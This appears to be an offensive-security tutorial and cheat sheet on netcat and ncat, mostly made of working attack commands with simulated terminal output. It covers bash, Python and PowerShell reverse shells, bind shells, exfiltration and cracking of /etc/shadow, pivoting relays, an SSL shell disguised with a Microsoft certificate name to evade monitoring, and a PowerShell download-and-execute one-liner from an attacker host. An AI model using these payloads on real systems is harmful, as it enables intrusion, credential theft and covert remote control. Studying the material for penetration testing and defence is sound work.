



◆ OFFENSIVE SECURITY SERIES ◆

NETCAT

The Swiss Army Knife of Networking

Reverse Shell · Bind Shell · File Transfer · Port Scanning · Relay

Reverse Shell

Bind Shell

File Transfer

Port Scan

Relay

Listener

Banner Grab

RedTeamGarage (RTG) | Offensive Security Education

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01 — NETCAT OVERVIEW

Variants & Installation

Netcat (nc) is the fundamental tool for creating TCP/UDP connections for shells, file transfer, port scanning, and relaying. Three main variants exist: Traditional netcat (OpenBSD nc), Ncat (Nmap project, supports SSL), and Netcat-traditional (with -e flag for exec).

```
Netcat - Installation

# Install netcat variants
(kali)-[~]
kali $ sudo apt install netcat-traditional ncat
Reading package lists... Done
Building dependency tree... Done
The following NEW packages will be installed:
  netcat-traditional ncat
Setting up netcat-traditional (1.10-47) ...
Setting up ncat (7.94SVN) ...

# Check versions
(kali)-[~]
kali $ nc -h 2>&1 | head -5
[v1.10-47]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound:  nc -l -p port [-options] [hostname] [port]

(kali)-[~]
kali $ ncat --version
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
```

Figure: Both netcat-traditional and ncat installed — traditional has -e exec flag



02 — BASIC CONNECTIONS

Banner Grabbing & Port Testing

```
Netcat – Banner Grabbing & Port Testing

# Connect to HTTP and grab banner
(kali)-[~]
kali $ nc 10.10.10.100 80

(kali)-[~]
kali $ GET / HTTP/1.0

HTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
X-Powered-By: PHP/8.1.2
Content-Type: text/html; charset=UTF-8
Content-Length: 12043

# Grab SSH banner
(kali)-[~]
kali $ nc 10.10.10.100 22
SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.4

# Test if port is open (quick check)
(kali)-[~]
kali $ nc -zv 10.10.10.100 443
Connection to 10.10.10.100 443 port [tcp/https] succeeded!

(kali)-[~]
kali $ nc -zv 10.10.10.100 8443
nc: connect to 10.10.10.100 port 8443 (tcp) failed: Connection refused
```

Figure: HTTP server reveals Apache 2.4.52 + PHP 8.1.2, port 8443 closed confirmed

03 — REVERSE SHELLS

Attacker Listens, Target Connects Back

```
Netcat - Reverse Shell with TTY Upgrade

# Step 1: Attacker sets up listener (Kali)
(kali)-[~]
kali $ nc -lvnp 4444
Listening on 0.0.0.0 4444

# Step 2: Execute on target (Linux)
# One-liner reverse shell using /bin/bash
(kali)-[~]
kali $ bash -i >& /dev/tcp/10.10.14.5/4444 0>&1

# Back on Kali - connection received!
Connection received on 10.10.10.100 51234
bash: cannot set terminal process group (1234): Inappropriate ioctl for device
bash: no job control in this shell
www-data@target:/var/www/html$

# Upgrade to fully interactive TTY
(kali)-[~]
kali $ python3 -c "import pty; pty.spawn('/bin/bash')"
www-data@target:/var/www/html$
(kali)-[~]
kali $ export TERM=xterm

# Ctrl+Z to background, then:
(kali)-[~]
kali $ stty raw -echo; fg
[1]+ Continued nc -lvnp 4444
www-data@target:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Figure: Reverse shell connects back, Python pty upgrade gives fully interactive terminal

```
Netcat - Root Shell + Network Discovery

# Netcat reverse shell (target has nc with -e flag)
(kali)-[~]
kali $ nc -lvnp 4444
Listening on 0.0.0.0 4444

# On target: nc -e spawns shell
Connection received on 10.10.10.100 51235
(kali)-[~]
kali $ id
uid=0(root) gid=0(root) groups=0(root)
(kali)-[~]
kali $ whoami
root
(kali)-[~]
kali $ hostname
WIN-TARGET
(kali)-[~]
kali $ ip addr | grep "inet "
    inet 127.0.0.1/8 scope host lo
    inet 10.10.10.100/24 brd 10.10.10.255 scope global eth0
    inet 10.10.20.1/24 brd 10.10.20.255 scope global eth1

# Internal network discovered: 10.10.20.0/24
```

Figure: Root shell received, second NIC reveals internal 10.10.20.0/24 network



04 — BIND SHELLS

Target Listens, Attacker Connects

```

Netcat - Bind Shells (Linux & Windows)

# Target opens bind shell on port 1337
# (run on compromised target)
(kali)-[~]
kali $ nc -lvnp 1337 -e /bin/bash
Listening on 0.0.0.0 1337

# Attacker connects to target bind shell
(kali)-[~]
kali $ nc 10.10.10.100 1337
id
uid=0(root) gid=0(root) groups=0(root)
cat /etc/shadow | head -3
root:$6$xyz$AbCdEfGhIjKlMnOpQrStUvWx:19000:0:99999:7:::
daemon:!:19000:0:99999:7:::
www-data:$6$abc$XyZaBcDeFgHiJkLmNoPqRs:19000:0:99999:7:::

# Windows bind shell (target side)
# nc.exe -lvnp 4444 -e cmd.exe
(kali)-[~]
kali $ nc 10.10.10.100 4444
Microsoft Windows [Version 10.0.19045.3570]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

```

Figure: Linux bind shell exposes /etc/shadow, Windows bind shell returns SYSTEM cmd.exe



05 — FILE TRANSFER

Sending & Receiving Files via Netcat

```
Netcat - File Transfer Both Directions

# Transfer file FROM attacker TO target
# Attacker: serve the file
(kali)-[~]
kali $ nc -lnvp 9001 < /opt/tools/linpeas.sh
Listening on 0.0.0.0 9001

# Target: receive the file
(kali)-[~]
kali $ nc 10.10.14.5 9001 > /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh
Connection to 10.10.14.5 9001 port [tcp] succeeded!

# Transfer file FROM target TO attacker
# Attacker: listen to receive
(kali)-[~]
kali $ nc -lnvp 9002 > loot/etc_shadow
Listening on 0.0.0.0 9002

# Target: send the file
(kali)-[~]
kali $ nc 10.10.14.5 9002 < /etc/shadow
Connection to 10.10.14.5 9002 port [tcp] succeeded!

# Verify received on attacker
(kali)-[~]
kali $ cat loot/etc_shadow | head -3
root:$6$randomsalt$HashedPasswordHere:19000:0:99999:7:::
daemon:*:19000:0:99999:7:::
www-data:$6$salt$AnotherHashedPassword:19000:0:99999:7:::

# Transfer and immediately crack
(kali)-[~]
kali $ hashcat -m 1800 loot/etc_shadow /usr/share/wordlists/rockyou.txt
$6$randomsalt$HashedPasswordHere:Password123!
Session.....: hashcat Status.....: Cracked
```

Figure: linpeas.sh transferred to target, /etc/shadow pulled back and cracked with hashcat



06 — PORT SCANNING

Quick Network Recon with Netcat

```

Netcat – Port Scanning & Pivot Network Recon

# TCP port scan – common ports
(kali)-[~]
kali $ nc -zv 10.10.10.100 20-25 80 443 445 3389 8080 8443 2>&l
nc: connect to 10.10.10.100 port 20 (tcp) failed: Connection refused
nc: connect to 10.10.10.100 port 21 (tcp) failed: Connection refused
Connection to 10.10.10.100 22 port [tcp/ssh] succeeded!
nc: connect to 10.10.10.100 port 23 (tcp) failed: Connection refused
nc: connect to 10.10.10.100 port 24 (tcp) failed: Connection refused
nc: connect to 10.10.10.100 port 25 (tcp) failed: Connection refused
Connection to 10.10.10.100 80 port [tcp/http] succeeded!
Connection to 10.10.10.100 443 port [tcp/https] succeeded!
Connection to 10.10.10.100 445 port [tcp/microsoft-ds] succeeded!
Connection to 10.10.10.100 3389 port [tcp/ms-wbt-server] succeeded!
nc: connect to 10.10.10.100 port 8080 (tcp) failed: Connection refused
nc: connect to 10.10.10.100 port 8443 (tcp) failed: Connection refused

# Scan range from within a pivot (no nmap available)
(kali)-[~]
kali $ for p in 22 80 443 3389 5985 8080; do nc -zv -wl 10.10.20.5 $p 2>&l; done
Connection to 10.10.20.5 80 port [tcp/http] succeeded!
Connection to 10.10.20.5 3389 port [tcp/ms-wbt-server] succeeded!
Connection to 10.10.20.5 5985 port [tcp] succeeded!

```

Figure: SSH/HTTP/HTTPS/SMB/RDP open on target, internal host 10.10.20.5 has RDP and WinRM



07 — RELAYING & PIVOTING

Netcat as a Traffic Relay

```
Netcat - FIFO Relay & RDP Pivoting

# FIFO-based relay: forward port 8080 to internal 10.10.20.5:80
(kali)-[~]
kali $ mkfifo /tmp/relay_pipe
(kali)-[~]
kali $ nc -lvnp 8080 < /tmp/relay_pipe | nc 10.10.20.5 80 > /tmp/relay_pipe
Listening on 0.0.0.0 8080

# Attacker now browses internal web server via compromised host
(kali)-[~]
kali $ curl http://10.10.10.100:8080/
HTTP/1.1 200 OK
Server: Microsoft-IIS/10.0
Content-Type: text/html
<html><head><title>Internal Admin Panel</title></head>

# Persistent relay with ncat
(kali)-[~]
kali $ ncat -lvnp 9090 --sh-exec "ncat 10.10.20.5 3389"
Ncat: Listening on 0.0.0.0:9090

# Now RDP to internal host via relay
(kali)-[~]
kali $ xfreerdp /v:10.10.10.100:9090 /u:Administrator /p:P@ssw0rd! /cert:ignore
[09:45:23:123] [4567:4568] [INFO][com.freerdp.core] - connected to 10.10.10.100:9090
[09:45:23:456] [4567:4568] [INFO][com.freerdp.core] - Successful authentication
```

Figure: FIFO relay exposes internal IIS admin panel, ncat relay enables RDP to internal host



08 — NCAT — SSL ENCRYPTED NETCAT

Encrypted Channels with Certificate

```

Ncat - SSL Encrypted Reverse Shell

# Generate self-signed certificate for ncat SSL
(kali)-[~]
kali $ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -subj "/CN=update.microsoft.com"
Generating a RSA private key
.....++++
.++++
writing new private key to key.pem
-----

# Attacker: SSL listener (looks like HTTPS traffic)
(kali)-[~]
kali $ ncat --ssl --ssl-cert cert.pem --ssl-key key.pem -lvnp 443
Ncat: Generating a temporary 2048-bit RSA key.
Ncat: SHA-1 fingerprint: AB12 CD34 EF56 7890 ABCD EF12 3456 7890 ABCD EF12
Ncat: Listening on 0.0.0.0:443

# Target connects back with SSL
(kali)-[~]
kali $ ncat --ssl 10.10.14.5 443 -e /bin/bash

# Attacker receives encrypted reverse shell
Ncat: Connection from 10.10.10.100.
Ncat: Connection from 10.10.10.100:52341.
(kali)-[~]
kali $ id
uid=0(root) gid=0(root) groups=0(root)

```

Figure: SSL shell on port 443 with Microsoft CN — traffic appears as HTTPS to network monitors



09 — WINDOWS NETCAT

CMD & PowerShell Reverse Shells

```
Windows - PowerShell Reverse Shell via Netcat

# Kali listener
(kali)-[~]
kali $ nc -lvnp 4444
Listening on 0.0.0.0 4444

# Windows target - PowerShell reverse shell
(kali)-[~]
kali $ powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('10.10.14.5',4444);$s=$c.GetStream();[byte[]
]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEnco
ding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$r=[text.encoding]::A
SCII.GetBytes($sb2);$s.Write($r,0,$r.Length);$s.Flush();$c.Close()}"

# Reverse shell received on Kali
Connection received on 10.10.10.100 52123
PS C:\Windows\system32>
(kali)-[~]
kali $ whoami
nt authority\system
(kali)-[~]
kali $ $env:COMPUTERNAME
WIN-TARGET
(kali)-[~]
kali $ (Get-ADDomain).DNSRoot
domain.local
(kali)-[~]
kali $ net localgroup administrators
Administrator
DOMAIN\Domain Admins
```

Figure: PowerShell reverse shell delivers SYSTEM on Windows, domain membership confirmed



10 — NETCAT CHEAT SHEET

Complete Quick Reference

Reverse shell listener	<code>nc -lvnp 4444</code>
Connect to host	<code>nc TARGET PORT</code>
Bind shell (linux)	<code>nc -lvnp 1337 -e /bin/bash</code>
Bind shell (windows)	<code>nc.exe -lvnp 1337 -e cmd.exe</code>
Linux reverse shell	<code>bash -i >& /dev/tcp/ATTACKER/4444 0>&1</code>
NC reverse shell	<code>/bin/nc -e /bin/bash ATTACKER 4444 (needs -e flag)</code>
Python reverse shell	<code>python3 -c "import socket, subprocess, os; s=socket.socket(); s.connect(('ATTACKER', 4444)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); subprocess.call(['/bin/bash', '-i'])"</code>
Upgrade TTY	<code>python3 -c "import pty; pty.spawn('/bin/bash')"</code> then <code>stty raw -echo; fg</code>
Send file to target	<code>nc -lvnp 9001 < file.sh (attacker) → nc ATTACKER 9001 > file.sh (target)</code>
Receive file from target	<code>nc -lvnp 9002 > loot/file (attacker) → nc ATTACKER 9002 < /etc/shadow</code>
Port scan	<code>nc -zv TARGET 20-25 80 443 2>&1 grep succeeded</code>
Banner grab	<code>nc TARGET PORT</code> then type <code>request</code>
FIFO relay	<code>mkfifo /tmp/p && nc -lvnp 8080 < /tmp/p nc INTERNAL PORT > /tmp/p</code>
ncat SSL listen	<code>ncat --ssl --ssl-cert cert.pem --ssl-key key.pem -lvnp 443</code>
ncat SSL connect	<code>ncat --ssl ATTACKER 443 -e /bin/bash</code>
ncat relay	<code>ncat -lvnp 9090 --sh-exec "ncat INTERNAL PORT"</code>
UDP listener	<code>nc -lvnp -u 5353</code>
Banner grab HTTP	<code>echo -e "GET / HTTP/1.0\r\n\r\n" nc TARGET 80</code>
Check port open	<code>nc -zv TARGET PORT 2>&1 grep succeeded</code>
PowerShell rev shell	<code>IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')</code> or one-liner above



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